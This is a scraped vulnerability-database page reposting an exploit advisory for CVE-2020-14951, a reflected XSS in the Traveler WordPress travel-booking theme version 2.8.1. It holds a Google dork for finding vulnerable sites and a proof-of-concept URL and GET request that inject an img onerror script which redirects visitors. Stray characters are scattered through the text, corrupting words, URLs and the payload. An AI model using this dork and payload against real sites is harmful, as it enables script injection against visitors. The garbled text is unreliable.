Travel Booking WordPress Theme v2.8.1 – Unauthenticated Reflected XSS – CXSecurity.com

漏洞ID 2064112 漏洞类型
发布时间 2020-06-22 更新时间 2020-06-22
CVE编号 CVE-2020-14951

CNNVD-ID N/A
漏洞平台 N/A CVSS评分 N/A
|漏洞来源
https://cxsecurity.com/issue/WLB-2020060096
|漏洞详情
漏洞细节尚未披露
|漏洞EXPc j w
[+] Exploit Title: Travel Bookm C &ing WordPress Theme v2.8.i ! ~ + X1 - Unauthenticated Reflected XSS
[+] Google Dork: inurl:C ; X u /wp-content/themes/traveler/
[+] Date: 2020-06-17
[+] Exploit Author: Vlad Vec7 { ; 5 : c t / Vtor [ https://vladvector.ru ]
[+] V % - l ^ rendor: ShineTR J -heme [ http://shinetheme.com ]
[+] Software Version: 2.8.1
[+] Software Link: https://themeforest.net/item/travele; )  Dr-traveltourbooking-wordpress-theme/10822683
[+] Tested on: Debian 10
[+] CVE: CVE-2020-14951
[+] C; $ h T M U ^ 9WE: CWE-79
### [ PoC: ]
[!] https://mixmap.travelerwp.com/search-hotel-full-map/?location_name=x&location_id=x&start=&end=&daT k zte=16/06/2020%2012:00%20am-17/06/2020%2011:59%20pm&room_num_ m y z e L )_search=x&adult_number=%22%3E%3Cimg%20src=%[ % 6 G u N27x%27%20onerro3 u ,r=alert(`VL%CE%9BDV%5 s x F Z _ CE; G / -%9ECTOR`);window.location=`https://twitter.com/vlad_vector`%3E&child_number=0&price| ~ G & M 6_range=x&taxonomy[hotel_faciZ A y s ( Elitie- h y / 8 | bs]=
[!] GET /search-hotel-full-map/?locatiox T O - $ [ ~ Qn_name=x&location_id=x&u # A b | f lstart=&end=&date=16/06/2020%2012:00%20am-17/06/2020%2016 K |1:59%20pm&room_num_search=x&ad4 e m / U + i G Ault_number=%22%3E%3Cimg%20src=%27x%27%20onerror=alert(`VL%CE%9BDV%CE%9ECTOR`);window.location=`https://twitter.com/vlad_vector`%3E&child_numberQ I G=0&price_range=x&taxonomy[hotel_fa: f j y T Q ecilities]= HTTP/1.1
Host: mixmap.travelerwp.com
### [ Contacts: ]
[#] Website: vladvect{ o . Q  7 , Zor.ru
[#] Telegram: @vladvector
[#] Twitter:* l G V v l ! - * @vlad_vecto$ H H +r
[#~ v y :] GitHub: @vladvector